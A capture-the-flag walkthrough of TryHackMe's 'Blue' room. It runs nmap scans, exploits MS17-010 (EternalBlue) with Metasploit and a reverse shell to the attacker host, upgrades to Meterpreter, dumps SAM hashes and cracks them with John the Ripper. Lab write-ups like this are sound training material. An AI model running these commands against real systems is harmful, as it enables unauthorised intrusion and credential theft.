Skip to content
HackIndex.io

Blue Writeup - TryHackMe

Easy Windows
Discuss on Discord
Hackercat

Ethical Hacker

Blue is an Easy Windows machine built around MS17-010, known as EternalBlue. The NSA-developed exploit leaked in 2017 and powered the WannaCry ransomware attack. The machine runs an unpatched Windows 7 with SMB exposed, making it vulnerable to unauthenticated remote code execution. Exploiting it gives a SYSTEM shell immediately with no further privilege escalation needed. The room also covers post-exploitation: upgrading to a Meterpreter session, dumping hashed credentials from the SAM database, and cracking them offline.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP 
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:05 UTC
Nmap scan report for $TARGET_IP
Host is up (0.035s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
49159/tcp open  msrpc         Microsoft Windows RPC

Host script results:
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:a4:88:c0:2f:5c (unknown)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: JON-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-08-20T16:05:38-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2026-08-20T21:05:38
|_  start_date: 2026-08-20T21:01:52

Nmap done: 1 IP address (1 host up) scanned in 118.24 seconds

The scan identifies Windows 7 Professional SP1 with SMB on port 445. Windows 7 SP1 is end-of-life and was never patched against MS17-010 unless administrators manually applied the emergency patch Microsoft released in March 2017. SMB message signing is disabled, which is the default. The hostname JON-PC reveals a username to target later.

Confirm the vulnerability before exploiting:

┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script smb-vuln-ms17-010 $TARGET_IP 
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:08 UTC
Nmap scan report for $TARGET_IP

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds

Confirmed vulnerable. The smb-vuln-ms17-010 script sends a malformed SMB request and checks the response. A vulnerable machine responds in a way that proves it accepts the exploit's packet structure.

Exploitation

Metasploit contains a stable, well-tested module for EternalBlue. Start Metasploit and configure the module:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS $TARGET_IP
msf6 > set LHOST $ATTACKER_IP
msf6 > set payload windows/x64/shell/reverse_tcp
msf6 > run 
[*] No payload configured, defaulting to windows/x64/shell/reverse_tcp
RHOSTS => $TARGET_IP
LHOST => $ATTACKER_IP
payload => windows/x64/shell/reverse_tcp
[*] Started reverse TCP handler on $ATTACKER_IP:4444
[*] $TARGET_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] $TARGET_IP:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] $TARGET_IP:445 - Connecting to target for exploitation.
[+] $TARGET_IP:445 - Connection established for exploitation.
[+] $TARGET_IP:445 - Target OS selected valid for OS indicated by SMB reply
[*] $TARGET_IP:445 - CORE raw buffer dump (42 bytes)
[*] $TARGET_IP:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] $TARGET_IP:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] $TARGET_IP:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] $TARGET_IP:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] $TARGET_IP:445 - Trying exploit with 12 Groom Allocations.
[*] $TARGET_IP:445 - Sending all but last fragment of exploit packet
[*] $TARGET_IP:445 - Starting non-paged pool grooming
[+] $TARGET_IP:445 - Sending SMBv2 buffers
[+] $TARGET_IP:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] $TARGET_IP:445 - Sending final SMBv2 buffers.
[*] $TARGET_IP:445 - Sending last fragment of exploit packet!
[*] $TARGET_IP:445 - Receiving response from exploit packet
[+] $TARGET_IP:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] $TARGET_IP:445 - Sending egg to corrupted connection.
[*] $TARGET_IP:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to $TARGET_IP
[*] Command shell session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49172)

Shell Banner:
Microsoft Windows [Version 6.1.7601]

C:\Windows\system32>
nt authority\system@JON-PC C:\Windows\system32 > whoami 
nt authority\system

The exploit gives a SYSTEM shell directly, the highest privilege level on Windows. No further privilege escalation is needed.

Post-Exploitation

Upgrade from a raw shell to a Meterpreter session for better post-exploitation capabilities. Background the current shell and use the shell-to-meterpreter upgrade module:

msf6 > use post/multi/manage/shell_to_meterpreter
msf6 > set SESSION 1
msf6 > run 
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on $ATTACKER_IP:4433
[*] Sending stage (200774 bytes) to $TARGET_IP
[*] Meterpreter session 2 opened ($ATTACKER_IP:4433 -> $TARGET_IP:49217)
[*] Stopping exploit/multi/handler

Interact with the new Meterpreter session and verify privileges:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

Dump all local account hashes from the SAM database:

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:$JON_HASH:::

The format is username:RID:LM_hash:NT_hash:::. The Administrator and Guest accounts show 31d6cfe0d16ae931b73c59d7e0c089c0, which means the NT hash is empty (accounts are disabled or have no password set). Jon's NT hash is the only one worth cracking. Save it and use John the Ripper:

┌──(kali㉿kali)-[~]
└─$ echo "$JON_HASH" > jon_hash.txt
┌──(kali㉿kali)-[~]
└─$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
$JON_PASSWORD        (?)
1g 0:00:00:04 DONE (2026-08-20 16:22) 0.2551g/s 2602Kp/s 2602Kc/s
Use the "--show --format=NT" options to display all of the cracked passwords reliably

Jon's password cracks in seconds against rockyou.txt. With valid credentials, you could also authenticate over SMB or RDP for persistent access.

Flags

nt authority\system@JON-PC C:\ > type C:\flag1.txt
nt authority\system@JON-PC C:\ > type C:\Windows\System32\config\flag2.txt
nt authority\system@JON-PC C:\ > type C:\Users\Jon\Documents\flag3.txt 
$FLAG_1

$FLAG_2

$FLAG_3

  • flag1.txt sits in the root of C:\, accessible to any user on the system.

  • flag2.txt is in C:\Windows\System32\config\, the directory that holds the SAM database. Only SYSTEM and Administrators can read files here.

  • flag3.txt is in Jon's Documents folder, readable with Jon's credentials or SYSTEM-level access.

References